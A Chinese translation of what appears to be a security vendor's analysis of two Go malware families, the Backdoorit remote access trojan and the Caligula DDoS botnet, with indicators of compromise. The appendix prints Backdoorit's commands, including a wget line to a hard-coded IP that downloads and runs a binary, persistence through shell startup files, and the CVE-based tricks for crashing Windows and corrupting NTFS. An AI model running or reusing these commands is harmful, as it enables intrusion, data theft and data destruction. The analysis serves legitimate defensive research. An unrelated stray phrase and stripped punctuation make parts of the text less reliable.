Go 恶意软件正在增加
介绍
Go 程序语言的受欢迎程度日益增加。其中一个原因是 Go 程序可以被编译为适用于多个操作系统和架构的单个二进制文件,包含所有需要的依赖项。基于这些特性,我们观察到,正如我们所预期的,在过去几个月中使用 Go 编程语言编写的恶意软件和灰色工具数量有所增加。我们每周都会发现新的样本。
例如,在4月底,我们在内部蜜罐中发现了两种新变种,分别是Backdoorit和Caligula,当时这两者在病毒总数(VT)上未被检测到。
Backdoorit VirusTotal 历史Caligula VirusTotal 历史这两种恶意软件都是多平台的机器人,支持多种处理器架构,并使用 Go 编程语言编写。
分析 Backdoorit
Backdoorit版本 1151562578125是一个用 Go 编写的多平台远程访问木马RAT,同时支持 Windows 和 Linux/Unix 操作系统。在代码的许多地方,它也被称为backd00rit。
火烧云机场通过对 Backdoorit 的 analysefull 命令的仔细检查,我们得出结论,该恶意软件的主要目的是窃取与 Minecraft 相关的文件,以及 Visual Studio 和 IntelliJ 的项目。
然而,该恶意软件的目标并不仅限于这些文件。一些命令如upload、basharchive、bashupload等允许它窃取任意文件和信息,在系统中安装其他恶意软件或执行任意命令如run、runbinary等,并截取用户活动的屏幕截图如screenshot、ssfile等。
证据表明,Backdoorit的开发者可能不是英语母语者,这进一步指向了一个可能的俄罗斯威胁行为者。代码中的注释和字符串主要用英语书写,但常常出现语法错误。例如,我们发现了一条信息:“需要确认,执行”。我们还发现一些孤立的字符串用俄语书写。
除了上述字符串外,我们还观察到,包括 VimeWorld 文件一个提供 Minecraft 服务器的俄罗斯项目在内的文件也被目标锁定。这进一步导致我们相信该恶意软件背后的威胁行为者是俄罗斯来源。
运行 Backdoorit 后,该 RAT 会检索一些基本的环境信息,例如当前操作系统和用户名称。它,然后持续尝试连接到 CampC 服务器,以便让攻击者访问 shell。
恶意软件通过一系列 backd00r1tlogging 函数记录所有执行的操作和步骤。这些日志可以使用 uploadlogs 和 uploadlogsfile shell 命令上传到攻击者的服务器,或者在发生 Go panic 异常时自动上传。
在这种情况下,backd00r1tbackdoorhandlePanic 处理异常并执行以下操作:
它首先向 CampC 服务器的/api/logs 端点发送日志,采用 JSON 请求结构,如 backd00r1tapiSendLogs 函数所定义。它关闭与 CampC 服务器的连接。它尝试重新连接。上述处理程序有助于保持机器人连接,并允许攻击者远程跟踪执行过程。
一旦与 CampC 连接成功,攻击者将获得以下上下文信息。backd00r1tbackdoorSocketConnectionHandle 函数负责处理此 RAT 支持的所有命令,首要任务是调用 backd00r1tbackdoorprintMotd 来显示相关信息:
上次连接时间Backdoorit 版本进程活动连接用户名用户主目录用户 ID登录Gid进程路径模块自启动状态该 shell 允许威胁行为者远程执行任意命令。一个可能最先执行的命令是 analysefull 命令,因为它生成一个 reporttxt 文件,该文件包含 Desktop、Documents、Downloads、Minecraft 和 VimeWorld 文件夹的目录结构,并将提到的报告和 Visual Studio 与 IntelliJ 项目文件夹内容上传至 Bashupload,该网页服务允许通过命令行上传文件,存储限制为 50GB。
如前所述,如果攻击者选择这样做,还可以在系统中植入其他恶意软件。威胁行为者可以使用命令:runbinary用于下载和执行脚本的命令、shell允许生成操作系统 shell 并执行任意命令或其他可用命令。
该恶意软件还包含一种“杀死开关”,可通过 exploit 命令触发,但在这种情况下,它不仅仅是删除恶意软件,而是能够通过利用 CVE202124098 来崩溃 Windows 操作系统,并通过 CVE202128312 破坏硬盘的 NTFS 在易受攻击的系统上。这导致文件信息的完全丢失包括大小、时间和日期戳、权限和数据内容,当然,也清除了感染的证据。
shell 中实现的命令还有很多,可以在附录相关部分查看。需要注意的是,恶意软件中包含 checkupdates 命令,因此我们或许可以期待不久后会看到新的 Backdoorit 版本。
分析 Caligula
Caligula 是一个新的基于 IRC 的多平台恶意机器人,允许执行 DDoS 攻击。
该恶意软件使用 Go 编写,并以 ELF 文件格式分发,目标为多种不同的处理器架构:
Intel 80386 32位ARM 32位PowerPC 64位AMD 64位它当前支持通过 WSL 的 Linux 和 Windows 平台,并使用函数 osuserCurrent 来确定底层操作系统。
Caligula 基于 Hellabot 开源项目,这是一个容易修改的基于事件的 IRC 机器人,可以在不失去与服务器连接的情况下进行更新。
当然,Caligula 中还发现了许多来自开源项目的代码重用如 log15、fd、goshellwords、goisatty 和 gocolorable,但其核心功能仍基于 Hellabot。
我们在野外获取的所有样本都配置为通过以下数据连接到同一个硬编码的 IRC 频道:
主机:459555246667频道:#caligula用户名:由平台、当前用户和一个伪随机数字组成。例如:[LINUX]kali11066如下图所示,机器人已准备好加入 Caligula IRC Net v100 的僵尸网络。
Caligula IRC Net v100 是一个准备好的网络攻击僵尸网络。该机器人为攻击者提供了以下攻击选项:
攻击 描述udp udp 洪水,没有多少选项。http http 洪水,没有任何选项。syn syn 洪水。handshake 握手洪水。tcp tcp 洪水。
有关 Caligula 机器人源代码如何组织的更多信息,请查看附录中的源代码文件列表。它对于获得恶意软件设计的高级视角很有用,可以注意到新攻击方法可以轻松添加到其中,并识别 Caligula 恶意软件家族。
结论
由于其原生的多平台支持和相对易于开发,Go 程序语言用于恶意用途的情况正在增长,特别是在针对 Unix/Linux 操作系统的恶意软件中。
随着对 Go 编程语言的兴趣和社区的不断增长,一些恶意工具正在 GitHub 上开源,并被不同的威胁行为者重用。
在这种情况下,我们是最早检测到并猎捕到 Backdoorit 和 Caligula 的组织之一。
附录
Backdoorit shell 命令参考
命令语法 描述shell 此命令生成一个 shell。如果可能,在 Windows 平台上执行 PowerShell。否则执行命令提示符。对于其他平台,它生成一个 Bash Unix shell。help 显示可用命令以及一些状态信息的帮助。togglepath 启用或禁用显示切换路径。bell 启用或禁用铃声。clearfallback 清屏。backgroundlogs 向攻击者请求 buffer size 和 maximum buffer size 以便在后台存储日志。backdoor 显示 RAT 信息:BuiltCodenameVersionReconnect timeclearcode 使用 ANSI 转义码重置字体的任何样式属性:x1B[0Jclearcolor 清除 shell 颜色。colors / color 启用或禁用 shell 颜色。unexport [env][fir][key][url] 移除一个环境变量。export 添加一个环境变量。mkdir [path] 为指定路径创建文件夹。exit 退出。wcd 打印工作目录。motd 打印以下信息:最后连接时间。Backdoorit 版本。进程。活动连接。用户名。用户主目录。用户 ID。登录。Gid。进程路径。模块自启动状态。getasset [asset] 获取某资产通过字符串标识,并通过 GO 语言 mapaccess1faststr 函数访问。extractasset [asset] (path) 将某资产提取到指定路径。safe 允许禁用安全模式。openfile 打开文件。open 在浏览器中打开网址。listwindowsdisks 列出磁盘Windows 系统可用的命令。cp [target] [dist] 复制文件。rm 删除文件或文件夹及其所有内容。如果攻击者尝试删除整个当前文件夹,代理会询问以防止人为错误。cd 更改工作目录。ls 显示修改日期、文件名和大小。cat [file][path] 读取文件。checkupdates 请求版本到端点:/api/version如果适用操作系统有新版本可用,则通过 wget 下载:wget O app user nnstd password access http//185174136162/4ejskibejenec ampamp chmod x app ampamp ((/app) amp)exploit [exploit] [] 运行一个利用。当前支持以下利用:windows/crash/unc 它通过访问文件: globalrootdevicecondrvkernelconnect 崩溃 Windows。windows/destroy/i30 它通过执行以下命令损坏驱动器: cd Ci30bitmapautostart 通过修改以下文件持久化负载: bashrc、profile、zshrc、bashprofile、config/fish/configfish该命令启用内部标志: backd00r1tmodulesautostartstateautostartupdate 更新自启动项。exec [cmd] [] 使用指定的参数执行命令。sysinfo {detailed} 显示以下系统信息:WorkingDirectory、命令行、用户、终端neofetch / screenfetch 显示以下系统信息: CPU 信息:家族、供应商、物理 ID。核心主机信息:正常运行时间、操作系统、平台、平台家族、平台版本、主机 ID、内核架构、内核版本、网络接口信息:硬件地址、标志、索引Screenshot / ssfile / screen 生成一张屏幕截图,并将其存储在一个 PNG 文件中,该文件位于以下目录之一,取决于平台:Windows: CUsers{username}AppDataLocalTemp Linux: /tmp/ 最后,屏幕截图被上传,并且在此之后,从磁盘中删除该文件。archiveapi 创建一个文件,格式为: tmparchive{currentdate}gdfgdgd Windows 平台: CUsers{username}AppDataLocalTempLinux 平台: /tmp/该函数在文件同名已存在的情况下删除之前的文件。然后发送文件并删除。Createarchive [output] [target] 在输出中创建归档文件。Uploadapi [file][path] 自动将指定文件上传到预定义服务器。uploadlogsfile 使用 /api/upload API 端点上传文件 agentloguploadlogs 以 JSON 格式将日志发送到 API 端点 /api/logsupload [url] [file] 上传文件至服务器HTTP。bashupload [file][path] 自动将文件上传至 https//bashuploadcom/bashdownload 访问 https//bashuploadcom/ 的文件,参数为: download=1bashuploadparse [file][path] 自动将文件上传到 https//bashuploadcom/ 并获取直接链接basharchive [target] 创建归档并上传到 bashuploadcom: https//bashuploadcom/backdoorarchivezipdownload 下载文件。bashdownload [url] 通过查询 URL 下载文件: https//bashuploadcom/参数为: download=1run [url] 下载脚本并运行。runbinary 下载脚本并运行。当前仅支持 Windows 平台。它将 runscriptps1 文件下载到临时文件夹并执行。cls 清屏。STOP 此命令停止 Backdoorit。analysefull 创建一个报告 reporttxt,包含:{USERHOME}sourcerepos{USERHOME}IdeaProjectsDesktop 文件树Documents 文件树Downloads 文件树AppDataRoamingminecraft 文件树AppDataRoamingvimeworld 文件树。它通过 backd00r1tanalyzeuploadDirectory 上传 Visual Studio repos 文件夹和 IntelliJ 项目文件夹的内容,以及通过 backd00r1tanalyzeuploadFile 上传主要计算机文件夹的文件报告。
Backdoorit 机器人源代码列表
H/backdoorIt//injected/backdoor/BackdoorEnvironmentgoH/backdoorIt//injected/backdoor/BackgroundTasksgoH/backdoorIt//injected/backdoor/CommandHelpersgoH/backdoorIt//injected/backdoor/ConnectionHandlergoH/backdoorIt//injected/files/AssetsgoH/backdoorIt//injected/api/ConfigurationgoH/backdoorIt//injected/backdoor/ExecHandlersgoH/backdoorIt//injected/backdoor/ExecHandlerslinuxgoH/backdoorIt//injected/backdoor/maingoH/backdoorIt//injected/launcher/maingoCaligula 机器人源代码列表
/root/irc/bot/attack/attackgo/root/irc/bot/attack/methodsgo/root/irc/bot/attack/parsergo/root/irc/bot/attack/flagsgo/root/irc/bot/network/headergo/root/irc/bot/network/ipgo/root/irc/bot/network/tcpgo/root/irc/bot/routine/timedRoutinego/root/irc/bot/attack/methods/httpfloodgo/root/irc/bot/attack/methods/sshfloodgo/root/irc/bot/attack/methods/synfloodgo/root/irc/bot/attack/methods/tcpfloodgo/root/irc/bot/attack/methods/udpfloodgo/root/irc/bot/handlego/root/irc/bot/singleInstance/singleinstancego/root/irc/botgoIoCs
Backdoorit
34366a8dab6672a6a93a56af7e27722adc9581a7066f9385cd8fd0feae64d4b0Caligula
147aac7a9e7acfd91edc7f09dc087d1cd3f19c4f4d236d9717a8ef43ab1fe6b61945fb3e2ed482c5233f11e67ad5a7590b6ad47d29c03fa53a06beb0d910a1a04a1bb0a3a83f56b85f5eece21e96c509282fec20abe2da1b6dd24409ec6d5c4d6cfe724eb1b1ee1f89c433743a82d521a9de87ffce922099d5b033d5bfadf60671b2c5a263131fcf15557785e7897539b5bbabcbe01f0af9e999b39aad61673199d523668c1116904c2795e146b2c3be6ae9db67e076646059baa13eeb6e8e9bfe7369b6caf4fc755cad2b515d66caa99ff222c893a2ee8c8e565121945d7a9c97195b683fb1f6f9cfb6443fbedb666b4a74e17ca79bd5e66e5b4e75e609fd22edcfdc1aa30a94f6e12ccf3e3d1be656e0ec216c1e852621bc11b1e216b9e001完整的 Backdoorit 和 Caligula IoCs 在我们的 IoC 仓库 中。
标记为 分析、 golang、 恶意软件
分享:XFacebook
APT组织针对东亚地区的政府机构
引言今年夏天,Avast 发现了一个新的APT攻击行动,针对蒙古国的政府机构和国家数据中心。我们根据研究以中等的信心认为,讲中文的APT组织LuckyMouse是此次攻击的背后主使。该APT组织植入了后门和键盘记录器,以获取对政府网络的长期访问权限,然后上传了一系列用于在被攻击网络上进行进一步活动的...
为什么每20人中就有一人受骗于约会诈骗
艾玛麦戈万 2024年2月22日Avast 研究人员发现浪漫诈骗事件急剧上升,这些诈骗并不总是在你预期的地方发生。想像一下,当你深入线上约会的世界,试图寻找那个人或至少某个人。你并不孤单:根据 Pew Research,约有 30 的美国成年人表示他们曾使用约会应用程式,而这个比例在 30 岁以下...